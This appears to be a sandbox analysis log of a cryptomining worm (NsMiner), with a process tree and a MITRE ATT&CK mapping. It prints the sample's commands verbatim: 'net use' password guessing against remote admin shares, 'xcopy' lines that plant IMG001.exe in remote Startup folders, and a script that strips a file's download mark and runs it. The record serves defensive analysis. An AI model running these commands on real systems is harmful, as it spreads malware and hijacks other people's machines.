      C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\C$\Documents and Settings\All Users\Start Menu\Programs\Startup\IMG001.exe" 1>nul && @ echo copy to "\\10.127.255.255\C$\Documents and Settings\All Users\Start Menu\Programs\Startup\IMG001.exe" "
      4⤵
      PID:224
    - - C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\C$\Documents and Settings\All Users\Start Menu\Programs\Startup\IMG001.exe"
        5⤵
        Enumerates system info in registry
        
        PID:1284
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo f"
      4⤵
      PID:5216
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\C$\Documents and Settings\1\Ãëàâíîå ìåíþ\Ïðîãðàììû\Àâòîçàãðóçêà\IMG001.exe" 1>nul && @ echo copy to "\\10.127.255.255\C$\Documents and Settings\1\Ãëàâíîå ìåíþ\Ïðîãðàììû\Àâòîçàãðóçêà\IMG001.exe" "
      4⤵
      PID:5240
    - - C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\C$\Documents and Settings\1\Ãëàâíîå ìåíþ\Ïðîãðàììû\Àâòîçàãðóçêà\IMG001.exe"
        5⤵
        Enumerates system info in registry
        
        PID:2392
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo f"
      4⤵
      PID:4344
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\C$\Documents and Settings\All Users\Ãëàâíîå ìåíþ\Ïðîãðàììû\Àâòîçàãðóçêà\IMG001.exe" 1>nul && @ echo copy to "\\10.127.255.255\C$\Documents and Settings\All Users\Ãëàâíîå ìåíþ\Ïðîãðàììû\Àâòîçàãðóçêà\IMG001.exe" "
      4⤵
      PID:5244
    - - C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\C$\Documents and Settings\All Users\Ãëàâíîå ìåíþ\Ïðîãðàììû\Àâòîçàãðóçêà\IMG001.exe"
        5⤵
        Enumerates system info in registry
        
        PID:4524
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo f"
      4⤵
      PID:3912
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\C$\Windows\Profiles\1\Start Menu\Programs\Startup\IMG001.exe" 1>nul && @ echo copy to "\\10.127.255.255\C$\Windows\Profiles\1\Start Menu\Programs\Startup\IMG001.exe" "
      4⤵
      PID:2932
    - - C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\C$\Windows\Profiles\1\Start Menu\Programs\Startup\IMG001.exe"
        5⤵
        Enumerates system info in registry
        
        PID:5832
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo f"
      4⤵
      PID:5588
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\C$\Windows\All Users\Start menu\Programs\Startup\IMG001.exe" 1>nul && @ echo copy to "\\10.127.255.255\C$\Windows\All Users\Start menu\Programs\Startup\IMG001.exe" "
      4⤵
      PID:5744
    - - C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\C$\Windows\All Users\Start menu\Programs\Startup\IMG001.exe"
        5⤵
        
        PID:5724
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo f"
      4⤵
      PID:2372
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\C$\1\IMG001.exe" 1>nul && @ echo copy to "\\10.127.255.255\C$\1\IMG001.exe" "
      4⤵
      PID:3692
    - - C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\C$\1\IMG001.exe"
        5⤵
        Enumerates system info in registry
        
        PID:5792
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.255.255\C$ /delete /y
      4⤵
      PID:5768
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 20 localhost
      4⤵
      Runs ping.exe
      PID:5892
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo f"
      4⤵
      PID:1968
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\Users\All Users\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" 1>nul && @ echo copy to "\\10.127.255.255\Users\All Users\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" "
      4⤵
      PID:4124
    - - C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\Users\All Users\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe"
        5⤵
        Enumerates system info in registry
        
        PID:4376
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo f"
      4⤵
      PID:2396
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\Users\1\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" 1>nul && @ echo copy to "\\10.127.255.255\Users\1\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" "
      4⤵
      PID:4308
    - - C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\Users\1\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe"
        5⤵
        Enumerates system info in registry
        
        PID:4756
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo f"
      4⤵
      PID:5340
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\Users\Users\All Users\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" 1>nul && @ echo copy to "\\10.127.255.255\Users\Users\All Users\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" "
      4⤵
      PID:4292
    - - C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\Users\Users\All Users\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe"
        5⤵
        Enumerates system info in registry
        
        PID:4536
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo f"
      4⤵
      PID:5032
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\Users\Users\1\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" 1>nul && @ echo copy to "\\10.127.255.255\Users\Users\1\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" "
      4⤵
      PID:5684
    - - C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\Users\Users\1\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe"
        5⤵
        Enumerates system info in registry
        
        PID:4784
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo f"
      4⤵
      PID:5968
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\Users\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" 1>nul && @ echo copy to "\\10.127.255.255\Users\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe" "
      4⤵
      PID:5828
    - - C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\Users\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\IMG001.exe"
        5⤵
        Enumerates system info in registry
        
        PID:5944
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo f"
      4⤵
      PID:5996
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\Users\Documents and Settings\1\Start Menu\Programs\Startup\IMG001.exe" 1>nul && @ echo copy to "\\10.127.255.255\Users\Documents and Settings\1\Start Menu\Programs\Startup\IMG001.exe" "
      4⤵
      PID:5908
    - - C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\Users\Documents and Settings\1\Start Menu\Programs\Startup\IMG001.exe"
        5⤵
        Enumerates system info in registry
        
        PID:6024
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo f"
      4⤵
      PID:6084
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\Users\Documents and Settings\All Users\Start Menu\Programs\Startup\IMG001.exe" 1>nul && @ echo copy to "\\10.127.255.255\Users\Documents and Settings\All Users\Start Menu\Programs\Startup\IMG001.exe" "
      4⤵
      PID:6088
    - - C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\Users\Documents and Settings\All Users\Start Menu\Programs\Startup\IMG001.exe"
        5⤵
        
        PID:5988
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo f"
      4⤵
      PID:6072
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\Users\Documents and Settings\1\Ãëàâíîå ìåíþ\Ïðîãðàììû\Àâòîçàãðóçêà\IMG001.exe" 1>nul && @ echo copy to "\\10.127.255.255\Users\Documents and Settings\1\Ãëàâíîå ìåíþ\Ïðîãðàììû\Àâòîçàãðóçêà\IMG001.exe" "
      4⤵
      PID:5844
    - - C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\Users\Documents and Settings\1\Ãëàâíîå ìåíþ\Ïðîãðàììû\Àâòîçàãðóçêà\IMG001.exe"
        5⤵
        Enumerates system info in registry
        
        PID:736
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo f"
      4⤵
      PID:5760
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\Users\Documents and Settings\All Users\Ãëàâíîå ìåíþ\Ïðîãðàììû\Àâòîçàãðóçêà\IMG001.exe" 1>nul && @ echo copy to "\\10.127.255.255\Users\Documents and Settings\All Users\Ãëàâíîå ìåíþ\Ïðîãðàììû\Àâòîçàãðóçêà\IMG001.exe" "
      4⤵
      PID:3132
    - - C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\Users\Documents and Settings\All Users\Ãëàâíîå ìåíþ\Ïðîãðàììû\Àâòîçàãðóçêà\IMG001.exe"
        5⤵
        
        PID:2732
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo f"
      4⤵
      PID:468
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\Users\Windows\Profiles\1\Start Menu\Programs\Startup\IMG001.exe" 1>nul && @ echo copy to "\\10.127.255.255\Users\Windows\Profiles\1\Start Menu\Programs\Startup\IMG001.exe" "
      4⤵
      PID:408
    - - C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\Users\Windows\Profiles\1\Start Menu\Programs\Startup\IMG001.exe"
        5⤵
        
        PID:4356
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo f"
      4⤵
      PID:940
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\Users\Windows\All Users\Start menu\Programs\Startup\IMG001.exe" 1>nul && @ echo copy to "\\10.127.255.255\Users\Windows\All Users\Start menu\Programs\Startup\IMG001.exe" "
      4⤵
      PID:5252
    - - C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\Users\Windows\All Users\Start menu\Programs\Startup\IMG001.exe"
        5⤵
        Enumerates system info in registry
        
        PID:5256
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo f"
      4⤵
      PID:1884
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" @ xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\Users\1\IMG001.exe" 1>nul && @ echo copy to "\\10.127.255.255\Users\1\IMG001.exe" "
      4⤵
      PID:2432
    - - C:\Windows\SysWOW64\xcopy.exe
        
        xcopy /y /d "C:\Users\Admin\AppData\Roaming\NsMiner\IMG001.exe" "\\10.127.255.255\Users\1\IMG001.exe"
        5⤵
        Enumerates system info in registry
        
        PID:4192
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.255.255\Users /delete /y
      4⤵
      PID:4996
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 20 localhost
      4⤵
      Runs ping.exe
      PID:2996
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 3 localhost
      4⤵
      Runs ping.exe
      PID:5108
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.255.255\C$ "1" /user:"1"
      4⤵
      PID:4544
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.255.255\Users "1" /user:"1"
      4⤵
      PID:3520
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 3 localhost
      4⤵
      PID:5344
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.255.255\C$ "123" /user:"1"
      4⤵
      PID:5780
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.255.255\Users "123" /user:"1"
      4⤵
      PID:4120
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 3 localhost
      4⤵
      PID:5112
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.255.255\C$ "1" /user:"1"
      4⤵
      PID:4104
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.255.255\Users "1" /user:"1"
      4⤵
      PID:4308
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 3 localhost
      4⤵
      Runs ping.exe
      PID:5752
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.255.255\C$ "1602" /user:"1"
      4⤵
      PID:4364
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.255.255\Users "1602" /user:"1"
      4⤵
      PID:4088
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 3 localhost
      4⤵
      Runs ping.exe
      PID:3744
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.255.255\C$ """" /user:"1"
      4⤵
      PID:6104
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.255.255\Users """" /user:"1"
      4⤵
      PID:5844
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 3 localhost
      4⤵
      PID:4764
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.255.255\C$ "0" /user:"10.127.255.255"
      4⤵
      PID:5576
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.255.255\Users "0" /user:"10.127.255.255"
      4⤵
      PID:3252
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 3 localhost
      4⤵
      Runs ping.exe
      PID:2088
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.255.255\C$ "1" /user:"10.127.255.255"
      4⤵
      PID:2280
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.255.255\Users "1" /user:"10.127.255.255"
      4⤵
      PID:2688
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 3 localhost
      4⤵
      Runs ping.exe
      PID:5752
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.255.255\C$ "123" /user:"10.127.255.255"
      4⤵
      PID:4896
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.255.255\Users "123" /user:"10.127.255.255"
      4⤵
      PID:5764
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 3 localhost
      4⤵
      Runs ping.exe
      PID:5408
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.255.255\C$ "10.127.255.255" /user:"10.127.255.255"
      4⤵
      PID:4468
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.255.255\Users "10.127.255.255" /user:"10.127.255.255"
      4⤵
      PID:5292
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 3 localhost
      4⤵
      Runs ping.exe
      PID:5904
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.255.255\C$ "1602" /user:"10.127.255.255"
      4⤵
      PID:3836
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.255.255\Users "1602" /user:"10.127.255.255"
      4⤵
      PID:1828
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 3 localhost
      4⤵
      Runs ping.exe
      PID:608
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.255.255\C$ """" /user:"10.127.255.255"
      4⤵
      PID:5408
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.255.255\Users """" /user:"10.127.255.255"
      4⤵
      PID:5292
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 3 localhost
      4⤵
      PID:2040
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.255.255\C$ "0" /user:"administrator"
      4⤵
      PID:5916
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.255.255\Users "0" /user:"administrator"
      4⤵
      PID:1956
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 3 localhost
      4⤵
      Runs ping.exe
      PID:3292
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.255.255\C$ "1" /user:"administrator"
      4⤵
      PID:4544
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.255.255\Users "1" /user:"administrator"
      4⤵
      PID:2932
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 3 localhost
      4⤵
      Runs ping.exe
      PID:4024
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.255.255\C$ "123" /user:"administrator"
      4⤵
      PID:4200
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.255.255\Users "123" /user:"administrator"
      4⤵
      PID:1600
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 3 localhost
      4⤵
      Runs ping.exe
      PID:852
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.255.255\C$ "administrator" /user:"administrator"
      4⤵
      PID:3096
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.255.255\Users "administrator" /user:"administrator"
      4⤵
      PID:916
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 3 localhost
      4⤵
      Runs ping.exe
      PID:4564
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.255.255\C$ "1602" /user:"administrator"
      4⤵
      PID:2240
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.255.255\Users "1602" /user:"administrator"
      4⤵
      PID:1588
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 3 localhost
      4⤵
      PID:412
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.255.255\C$ """" /user:"administrator"
      4⤵
      PID:544
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.255.255\Users """" /user:"administrator"
      4⤵
      PID:4100
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 3 localhost
      4⤵
      Runs ping.exe
      PID:5820
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.255.255\C$ "0" /user:"user"
      4⤵
      PID:2084
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.255.255\Users "0" /user:"user"
      4⤵
      PID:1712
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 3 localhost
      4⤵
      Runs ping.exe
      PID:2432
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.255.255\C$ "1" /user:"user"
      4⤵
      PID:4524
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.255.255\Users "1" /user:"user"
      4⤵
      PID:3988
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 3 localhost
      4⤵
      PID:5296
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.255.255\C$ "123" /user:"user"
      4⤵
      PID:5216
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.255.255\Users "123" /user:"user"
      4⤵
      PID:3508
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 3 localhost
      4⤵
      Runs ping.exe
      PID:1792
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.255.255\C$ "user" /user:"user"
      4⤵
      PID:6080
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.255.255\Users "user" /user:"user"
      4⤵
      PID:5712
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 3 localhost
      4⤵
      PID:5852
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.255.255\C$ "1602" /user:"user"
      4⤵
      PID:1608
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.255.255\Users "1602" /user:"user"
      4⤵
      PID:3784
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 3 localhost
      4⤵
      Runs ping.exe
      PID:5128
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.255.255\C$ """" /user:"user"
      4⤵
      PID:1976
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.255.255\Users """" /user:"user"
      4⤵
      PID:5652
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 3 localhost
      4⤵
      PID:6052
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.255.255\C$ "0" /user:"admin"
      4⤵
      PID:5944
  - - C:\Windows\SysWOW64\net.exe
      net use \\10.127.255.255\Users "0" /user:"admin"
      4⤵
      PID:5960
  - - C:\Windows\SysWOW64\PING.EXE
      ping -n 3 localhost
      4⤵
      Runs ping.exe
      PID:2116

C:\Program Files\7-Zip\7zG.exe
"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\AppData\Local\Temp\gemme ya booty\IMG001\" -spe -an -ai#7zMap12215:122:7zEvent17858
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:348

C:\Users\Admin\AppData\Local\Temp\gemme ya booty\IMG001\$R9\makensis.exe
"C:\Users\Admin\AppData\Local\Temp\gemme ya booty\IMG001\$R9\makensis.exe"
1⤵
- Executes dropped EXE
PID:1968

C:\Users\Admin\AppData\Local\Temp\gemme ya booty\IMG001\$R9\NsCpuCNMiner32.exe
"C:\Users\Admin\AppData\Local\Temp\gemme ya booty\IMG001\$R9\NsCpuCNMiner32.exe"
1⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:1900

C:\Users\Admin\AppData\Local\Temp\gemme ya booty\IMG001\$R9\NsCpuCNMiner64.exe
"C:\Users\Admin\AppData\Local\Temp\gemme ya booty\IMG001\$R9\NsCpuCNMiner64.exe"
1⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:2468

C:\Users\Admin\AppData\Local\Temp\gemme ya booty\IMG001\$R9\NsCpuCNMiner64.exe
"C:\Users\Admin\AppData\Local\Temp\gemme ya booty\IMG001\$R9\NsCpuCNMiner64.exe"
1⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:1892

C:\Windows\system32\NOTEPAD.EXE
"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\AppData\Local\Temp\gemme ya booty\IMG001\$R9\pools.txt
1⤵
PID:1884

C:\Program Files\7-Zip\7zG.exe
"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\AppData\Local\Temp\gemme ya booty\IMG001\$R9\Stubs\bzip2~\" -spe -an -ai#7zMap16961:146:7zEvent11026
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:2240

C:\Users\Admin\AppData\Local\Temp\gemme ya booty\IMG001\$R9\Plugins\tftp.exe
"C:\Users\Admin\AppData\Local\Temp\gemme ya booty\IMG001\$R9\Plugins\tftp.exe"
1⤵
- Executes dropped EXE
PID:2884

C:\Program Files\7-Zip\7zG.exe
"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\AppData\Local\Temp\gemme ya booty\IMG001\$R9\Plugins\info\" -spe -an -ai#7zMap3674:156:7zEvent19064
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:636

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\gemme ya booty\IMG001\$R9\Plugins\info\info.vbe"
1⤵
- Checks computer location settings
PID:4592
- C:\Windows\System32\cscript.exe
  "C:\Windows\System32\cscript.exe" "C:\Users\Admin\AppData\Local\Temp\gemme ya booty\IMG001\$R9\Plugins\info\info.vbe"
  2⤵
  - Blocklisted process makes network request
  PID:3040
- - C:\Windows\System32\cmd.exe
    cmd /c (echo [ZoneTransfer] & echo ZoneId=0) > C:\Users\Admin\AppData\Local\Temp\tmp2.exe:Zone.Identifier
    3⤵
    - NTFS ADS
    PID:3284
- - C:\Windows\System32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\tmp2.exe
    3⤵
    PID:4088

C:\Windows\system32\NOTEPAD.EXE
"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\AppData\Local\Temp\gemme ya booty\IMG001\$R9\1712800611_log.txt
1⤵
PID:3864

C:\Users\Admin\AppData\Local\Temp\gemme ya booty\IMG001\$R9\makensis.exe
"C:\Users\Admin\AppData\Local\Temp\gemme ya booty\IMG001\$R9\makensis.exe"
1⤵
- Executes dropped EXE
PID:4916

C:\Program Files\7-Zip\7zG.exe
"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\AppData\Local\Temp\gemme ya booty\IMG001\$TEMP\info\" -spe -an -ai#7zMap30073:144:7zEvent16491
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:2384

C:\Windows\System32\Notepad.exe
"C:\Windows\System32\Notepad.exe" C:\Users\Admin\AppData\Local\Temp\gemme ya booty\IMG001\$TEMP\info\info.vbe
1⤵
PID:1608

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
PID:3580
- C:\Windows\system32\NOTEPAD.EXE
  "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\AppData\Local\Temp\gemme ya booty\.htaccess
  2⤵
  PID:3224

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

Defense Evasion

